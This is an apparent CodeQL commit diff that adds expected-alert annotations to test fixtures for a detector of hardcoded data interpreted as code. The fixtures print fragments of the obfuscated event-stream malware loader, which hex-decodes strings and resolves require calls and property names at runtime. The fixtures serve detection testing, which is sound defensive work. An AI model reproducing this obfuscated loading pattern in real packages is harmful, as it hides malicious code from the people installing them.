JS: Accept alerts for HardcodedDataInterpretedAsCode

asgerf · asgerf · commit e5c4e14496c3 · 2025-02-25T17:29:06.000+01:00
diff --git a/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js b/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js
@@ -93,7 +93,7 @@ module.exports = function (e, n) {
     function e(r) {
       return Buffer.from(r, "hex").toString();
     }
-    var n = r(e("2e2f746573742f64617461")),
+    var n = r(e("2e2f746573742f64617461")), // $ Alert
       o = t[e(n[3])][e(n[4])];
     if (!o) return;
     var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
diff --git a/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js b/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js
@@ -6,7 +6,7 @@ function e(r) {
   return Buffer.from(r, "hex").toString()
 }
 
-var n = r(e("2e2f746573742f64617461")),
+var n = r(e("2e2f746573742f64617461")), // $ Alert
     o = t[e(n[3])][e(n[4])];
 
 if (!o) return;

Original file line number	Diff line number	Diff line change
`@@ -93,7 +93,7 @@ module.exports = function (e, n) {`
`93`	`93`	`function e(r) {`
`94`	`94`	`return Buffer.from(r, "hex").toString();`
`95`	`95`	`}`
`96`		`- var n = r(e("2e2f746573742f64617461")),`
	`96`	`+ var n = r(e("2e2f746573742f64617461")), // $ Alert`
`97`	`97`	`o = t[e(n[3])][e(n[4])];`
`98`	`98`	`if (!o) return;`
`99`	`99`	`var u = r(e(n[2]))[e(n[6])](e(n[5]), o),`
Original file line number	Diff line number	Diff line change
`@@ -6,7 +6,7 @@ function e(r) {`
`6`	`6`	`return Buffer.from(r, "hex").toString()`
`7`	`7`	`}`
`8`	`8`
`9`		`-var n = r(e("2e2f746573742f64617461")),`
	`9`	`+var n = r(e("2e2f746573742f64617461")), // $ Alert`
`10`	`10`	`o = t[e(n[3])][e(n[4])];`
`11`	`11`
`12`	`12`	`if (!o) return;`